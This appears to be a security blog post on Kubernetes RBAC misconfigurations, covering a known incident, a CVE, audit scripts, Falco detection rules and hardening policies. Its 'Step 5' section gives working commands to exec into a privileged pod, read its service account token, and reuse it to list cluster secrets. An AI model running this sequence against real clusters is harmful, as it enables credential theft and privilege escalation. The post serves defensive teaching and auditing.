Kubernetes RBAC (Role-Based Access Control) is the cluster’s primary authorization system. Properly configured, it enforces least privilege so that a compromised pod, developer account, or CI/CD pipeline cannot escalate to cluster control. In practice, RBAC is frequently misconfigured in ways that create exactly the escalation paths it was designed to prevent.
The misconfigurations are often subtle: a wildcard that looks like a shortcut, a cluster-admin binding on a CI service account for convenience, a default service account left with auto-mounted tokens. This post maps the complete attack surface, demonstrates exploitation techniques, and provides the audit commands and policies to detect and remediate each issue.
The Kubernetes RBAC Model
Kubernetes RBAC has four object types:
- Role: Grants permissions within a namespace
- ClusterRole: Grants permissions cluster-wide or to non-namespaced resources
- RoleBinding: Associates a Role or ClusterRole with subjects (users, groups, service accounts) within a namespace
- ClusterRoleBinding: Associates a ClusterRole with subjects cluster-wide
A permission is defined as a combination of API groups, resources, and verbs:
1apiVersion: rbac.authorization.k8s.io/v1
2kind: Role
3metadata:
4 namespace: production
5 name: pod-reader
6rules:
7- apiGroups: [""] # Core API group
8 resources: ["pods"]
9 verbs: ["get", "watch", "list"]
The subject types are:
User— external identity (authenticated via OIDC, certificates, etc.)Group— group membership from the identity providerServiceAccount— in-cluster identity assigned to pods
Common Misconfiguration Patterns
Pattern 1: Wildcard Permissions
1# DANGEROUS: This grants cluster-admin equivalent access
2apiVersion: rbac.authorization.k8s.io/v1
3kind: ClusterRole
4metadata:
5 name: developer-access
6rules:
7- apiGroups: ["*"]
8 resources: ["*"]
9 verbs: ["*"]
Any subject bound to this ClusterRole can read secrets, create pods, modify RBAC itself, and execute commands in any pod — full cluster compromise from a single binding.
Pattern 2: cluster-admin Binding on Service Accounts
1# Frequently seen in CI/CD pipelines
2apiVersion: rbac.authorization.k8s.io/v1
3kind: ClusterRoleBinding
4metadata:
5 name: jenkins-admin
6subjects:
7- kind: ServiceAccount
8 name: jenkins
9 namespace: ci
10roleRef:
11 kind: ClusterRole
12 name: cluster-admin
13 apiGroup: rbac.authorization.k8s.io
If Jenkins is compromised (malicious build, RCE via plugin vulnerability), the attacker inherits cluster-admin access.
Pattern 3: Anonymous Authentication Enabled
Kubernetes API server can be configured with --anonymous-auth=true (the default in older versions), which allows unauthenticated requests to be processed as the system:anonymous user. If RBAC grants any permissions to system:unauthenticated, they are accessible without credentials.
1# Check if anonymous auth is enabled
2kubectl get --raw /api/v1/namespaces --server https://k8s-api:6443 \
3 --insecure-skip-tls-verify 2>&1
4# If response is JSON (not 403), anonymous access is enabled
5
6# Check what anonymous users can do
7kubectl auth can-i --list --as=system:anonymous
8kubectl auth can-i --list --as=system:unauthenticated
Pattern 4: pods/exec Abuse
The pods/exec resource permission is a lateral movement superpower:
1# A developer role that looks reasonable but enables cluster compromise
2rules:
3- apiGroups: [""]
4 resources: ["pods/exec"]
5 verbs: ["create"]
Any subject with this permission can execute commands in pods that have high-privilege service accounts.
Real Incident: Tesla Cryptojacking (2018)
In February 2018, cloud security company RedLock published research revealing that Tesla’s production Kubernetes cluster had been compromised for cryptocurrency mining.
Attack chain:
- Attackers used Shodan/masscan to identify Kubernetes dashboards exposed on the internet
- Tesla’s Kubernetes dashboard was accessible without authentication at a non-standard port
- From the dashboard, attackers browsed Kubernetes secrets and found AWS credentials
- AWS credentials provided access to Tesla’s S3 buckets containing telemetry data
- Attackers deployed cryptocurrency mining pods (configured to mine Monero to evade detection through pool obfuscation)
- Miners were configured with CPU limits to avoid performance alerts and used unlisted mining pool proxies
Technical root causes:
- Kubernetes dashboard exposed without authentication (
--enable-skip-loginflag) - AWS credentials stored as plaintext in Kubernetes secrets (not encrypted at rest)
- No network policy restricting dashboard access
- No pod security controls preventing deployment of arbitrary workloads
The incident was significant not because of data theft (Tesla reported no customer data was accessed) but because it demonstrated that misconfigured Kubernetes clusters were being actively scanned and exploited.
CVE-2018-1002105: API Aggregation Privilege Escalation
This was the most severe Kubernetes CVE to date when disclosed in December 2018.
Vulnerability: The Kubernetes API server’s aggregation layer improperly proxied upgrade requests (WebSocket) to extension API servers. A user with any permission to make requests through an aggregated API could send arbitrary HTTP requests to the backend API server authenticated as the Kubernetes API server itself — which has cluster-admin privileges.
CVSS Score: 9.8 (Critical) Affected versions: All Kubernetes versions before 1.10.11, 1.11.5, 1.12.3
1# Check Kubernetes version for CVE-2018-1002105
2kubectl version --short
3# Vulnerable: Server Version v1.x.y where x < 10, or x=10 and y<11, etc.
4
5# Check if API aggregation is configured (presence of APIService objects)
6kubectl get apiservices | grep -v "Local"
7# Non-local APIServices enable the aggregation vector
Attack Flow: Exploiting RBAC Misconfigurations
Step 1: Enumerate Current Permissions
1# What can the current user/service account do?
2kubectl auth can-i --list
3
4# Example output showing dangerous permissions:
5# Resources Non-Resource URLs Resource Names Verbs
6# *.apps [] [] [*]
7# pods/exec [] [] [create]
8# secrets [] [] [get list]
9
10# Check specific permissions
11kubectl auth can-i create pods --namespace production
12kubectl auth can-i get secrets --namespace kube-system
13kubectl auth can-i impersonate users
Step 2: Audit All ClusterRoleBindings for Dangerous Subjects
1# List all ClusterRoleBindings and their subjects
2kubectl get clusterrolebindings -o json | python3 -c "
3import sys, json
4data = json.load(sys.stdin)
5for item in data['items']:
6 role = item['roleRef']['name']
7 subjects = item.get('subjects', [])
8 for subj in subjects:
9 name = subj.get('name', 'unknown')
10 kind = subj.get('kind', 'unknown')
11 ns = subj.get('namespace', 'cluster')
12 print(f'{role:50} {kind:15} {name:40} {ns}')
13" | grep -E "cluster-admin|system:masters"
14
15# Find service accounts with cluster-admin
16kubectl get clusterrolebindings -o json | \
17 python3 -c "
18import sys, json
19data = json.load(sys.stdin)
20for item in data['items']:
21 if item['roleRef']['name'] == 'cluster-admin':
22 for s in item.get('subjects', []):
23 if s['kind'] == 'ServiceAccount':
24 print(f\"RISK: {s.get('namespace','?')}/{s['name']} has cluster-admin\")
25"
Step 3: Identify Secrets Access from Service Accounts
1# Which service accounts can read secrets in kube-system?
2for sa in $(kubectl get sa -n kube-system -o jsonpath='{.items[*].metadata.name}'); do
3 result=$(kubectl auth can-i get secrets \
4 --namespace kube-system \
5 --as=system:serviceaccount:kube-system:$sa 2>/dev/null)
6 if [ "$result" = "yes" ]; then
7 echo "WARNING: $sa can read kube-system secrets"
8 fi
9done
Step 4: Python Script — Enumerate RBAC Misconfigurations via K8s API
1#!/usr/bin/env python3
2"""
3K8s RBAC Misconfiguration Scanner
4Identifies dangerous RBAC configurations in a Kubernetes cluster.
5"""
6
7from kubernetes import client, config
8import sys
9
10DANGEROUS_VERBS = {"*", "create", "update", "patch", "delete", "escalate", "bind"}
11SENSITIVE_RESOURCES = {"secrets", "pods/exec", "clusterroles", "clusterrolebindings",
12 "serviceaccounts/token", "nodes", "pods/attach"}
13
14
15def load_kube_config():
16 try:
17 config.load_incluster_config()
18 except config.ConfigException:
19 config.load_kube_config()
20
21
22def check_rules(rules, role_name, binding_name, subjects):
23 findings = []
24 for rule in rules or []:
25 verbs = set(rule.get("verbs", []))
26 resources = set(rule.get("resources", []))
27 api_groups = set(rule.get("apiGroups", []))
28
29 # Wildcard check
30 if "*" in verbs and "*" in resources:
31 findings.append({
32 "severity": "CRITICAL",
33 "binding": binding_name,
34 "role": role_name,
35 "issue": "Wildcard verb+resource (cluster-admin equivalent)",
36 "subjects": subjects,
37 })
38
39 # Sensitive resource with dangerous verbs
40 for resource in resources:
41 if resource in SENSITIVE_RESOURCES and verbs & DANGEROUS_VERBS:
42 findings.append({
43 "severity": "HIGH",
44 "binding": binding_name,
45 "role": role_name,
46 "issue": f"Dangerous verbs {verbs & DANGEROUS_VERBS} on {resource}",
47 "subjects": subjects,
48 })
49 return findings
50
51
52def main():
53 load_kube_config()
54 rbac = client.RbacAuthorizationV1Api()
55 findings = []
56
57 # Check ClusterRoleBindings
58 crbs = rbac.list_cluster_role_binding()
59 roles_cache = {}
60
61 for crb in crbs.items:
62 role_name = crb.role_ref.name
63 binding_name = crb.metadata.name
64 subjects = [
65 f"{s.kind}/{s.namespace or 'cluster'}/{s.name}"
66 for s in (crb.subjects or [])
67 ]
68
69 # Direct cluster-admin binding
70 if role_name == "cluster-admin":
71 for s in (crb.subjects or []):
72 if s.kind == "ServiceAccount":
73 findings.append({
74 "severity": "CRITICAL",
75 "binding": binding_name,
76 "role": "cluster-admin",
77 "issue": f"ServiceAccount has cluster-admin",
78 "subjects": subjects,
79 })
80
81 # Fetch and check ClusterRole rules
82 if role_name not in roles_cache:
83 try:
84 cr = rbac.read_cluster_role(role_name)
85 roles_cache[role_name] = cr.rules or []
86 except Exception:
87 roles_cache[role_name] = []
88
89 findings.extend(check_rules(roles_cache[role_name], role_name, binding_name, subjects))
90
91 # Check anonymous auth bindings
92 for crb in crbs.items:
93 for s in (crb.subjects or []):
94 if s.name in ("system:anonymous", "system:unauthenticated"):
95 findings.append({
96 "severity": "CRITICAL",
97 "binding": crb.metadata.name,
98 "role": crb.role_ref.name,
99 "issue": "Anonymous/unauthenticated access granted",
100 "subjects": [f"{s.kind}/{s.name}"],
101 })
102
103 # Report
104 if not findings:
105 print("[OK] No critical RBAC misconfigurations found.")
106 return
107
108 print(f"[!] Found {len(findings)} RBAC misconfiguration(s):\n")
109 for f in findings:
110 print(f" [{f['severity']}] {f['binding']} -> {f['role']}")
111 print(f" Issue: {f['issue']}")
112 print(f" Subjects: {', '.join(f['subjects'])}")
113 print()
114
115
116if __name__ == "__main__":
117 main()
Step 5: Exploit pods/exec to Steal Service Account Token
1# Find a high-value pod (e.g., one running with an admin service account)
2kubectl get pods --all-namespaces -o json | python3 -c "
3import sys, json
4data = json.load(sys.stdin)
5for item in data['items']:
6 sa = item['spec'].get('serviceAccountName', 'default')
7 ns = item['metadata']['namespace']
8 name = item['metadata']['name']
9 if sa not in ('default', 'none'):
10 print(f'{ns}/{name} -> serviceAccount: {sa}')
11"
12
13# Execute into a high-privilege pod and read its token
14kubectl exec -n monitoring prometheus-0 -- \
15 cat /var/run/secrets/kubernetes.io/serviceaccount/token
16
17# Use the stolen token to query the API
18export STOLEN_TOKEN="eyJhbGciOiJSUzI1NiIs..."
19kubectl get secrets --all-namespaces \
20 --token=$STOLEN_TOKEN \
21 --server=https://k8s-api:6443 \
22 --insecure-skip-tls-verify
Detection
Falco Rules for kubectl exec and Token Access
1# /etc/falco/rules.d/rbac-abuse.yaml
2
3- rule: K8s Exec into Pod
4 desc: Detect kubectl exec used to access a container
5 condition: >
6 ka.target.resource = "pods/exec"
7 and ka.verb = "create"
8 output: >
9 Pod exec attempt (user=%ka.user.name pod=%ka.target.name
10 namespace=%ka.target.namespace)
11 priority: WARNING
12 source: k8s_audit
13 tags: [k8s, rbac, T1552.007]
14
15- rule: Service Account Token Mounted and Read
16 desc: Detect reading of mounted service account token
17 condition: >
18 open_read
19 and container
20 and fd.name startswith "/var/run/secrets/kubernetes.io/serviceaccount/token"
21 and not proc.name in (legitimate_token_readers)
22 output: >
23 Service account token read (user=%user.name command=%proc.cmdline
24 container=%container.name)
25 priority: NOTICE
Kubernetes Audit Log Analysis
1# Stream audit logs for RBAC-sensitive API calls
2# (Assumes audit log is written to file by kube-apiserver)
3tail -f /var/log/kubernetes/audit.log | \
4 python3 -c "
5import sys, json
6for line in sys.stdin:
7 try:
8 ev = json.loads(line)
9 sensitive_resources = ['secrets', 'clusterrolebindings', 'pods/exec']
10 resource = ev.get('objectRef', {}).get('resource', '')
11 subresource = ev.get('objectRef', {}).get('subresource', '')
12 full_resource = f'{resource}/{subresource}' if subresource else resource
13 if full_resource in sensitive_resources and ev.get('verb') in ['get', 'create', 'list']:
14 user = ev.get('user', {}).get('username', 'unknown')
15 ns = ev.get('objectRef', {}).get('namespace', 'cluster')
16 name = ev.get('objectRef', {}).get('name', 'unknown')
17 print(f'[AUDIT] {ev[\"verb\"]} {full_resource} {ns}/{name} by {user}')
18 except:
19 pass
20"
21
22# Using rbac-tool for misconfiguration analysis
23# Install: kubectl krew install rbac-tool
24kubectl rbac-tool policy-rules -e '' | grep -E "\*|\bexec\b|\bsecrets\b"
Defense and Hardening
Control 1: Disable Anonymous Authentication
1# In kube-apiserver configuration (kubeadm cluster)
2# Edit /etc/kubernetes/manifests/kube-apiserver.yaml
3# Add or verify:
4# - --anonymous-auth=false
5
6# Verify:
7kubectl get pods -n kube-system kube-apiserver-$(hostname) -o yaml | \
8 grep anonymous-auth
Control 2: Namespace Isolation with Network Policies
1# Deny all ingress/egress by default in each namespace
2apiVersion: networking.k8s.io/v1
3kind: NetworkPolicy
4metadata:
5 name: default-deny-all
6 namespace: production
7spec:
8 podSelector: {}
9 policyTypes:
10 - Ingress
11 - Egress
Control 3: Restrict Default Service Account Token Auto-Mount
1# Disable auto-mounting for the default service account
2apiVersion: v1
3kind: ServiceAccount
4metadata:
5 name: default
6 namespace: production
7automountServiceAccountToken: false
Control 4: Pod Security Admission
1# Apply restricted Pod Security Standard to namespaces
2apiVersion: v1
3kind: Namespace
4metadata:
5 name: production
6 labels:
7 pod-security.kubernetes.io/enforce: restricted
8 pod-security.kubernetes.io/audit: restricted
9 pod-security.kubernetes.io/warn: restricted
Control 5: Minimal RBAC — Principle of Least Privilege
1# Instead of wildcard, grant only what's needed
2apiVersion: rbac.authorization.k8s.io/v1
3kind: Role
4metadata:
5 namespace: production
6 name: app-deployer
7rules:
8- apiGroups: ["apps"]
9 resources: ["deployments"]
10 verbs: ["get", "list", "watch", "create", "update", "patch"]
11- apiGroups: [""]
12 resources: ["pods"]
13 verbs: ["get", "list", "watch"]
14# No pods/exec, no secrets, no cluster-level resources
MITRE ATT&CK Mapping
- T1552.007 — Unsecured Credentials: Container API: Extract credentials from Kubernetes service account tokens or secrets.
- T1078.001 — Valid Accounts: Default Accounts: Abuse of default service accounts with excessive permissions.
- T1611 — Escape to Host: Using pods/exec to escape into privileged containers with host access.
- T1098 — Account Manipulation: Modifying RBAC bindings to maintain or escalate access.
Related Attacks in This Series
- Container Escape: Breaking Out of Docker
- Cloud Account Takeover: Leaked AWS Keys and Crypto Mining
- Serverless Injection: Attacking Lambda Through Event Data
- S3 Bucket Breach: Misconfigured Permissions and Data Leaks
References
- CVE-2018-1002105 — Kubernetes Privilege Escalation
- RedLock — Tesla Kubernetes Cryptojacking Report
- MITRE ATT&CK T1552.007 — Container API
- Kubernetes RBAC Documentation
- NSA/CISA Kubernetes Hardening Guidance
- rbac-tool — Kubernetes RBAC Analysis
- kube-bench — CIS Kubernetes Benchmark
- Pod Security Admission Documentation






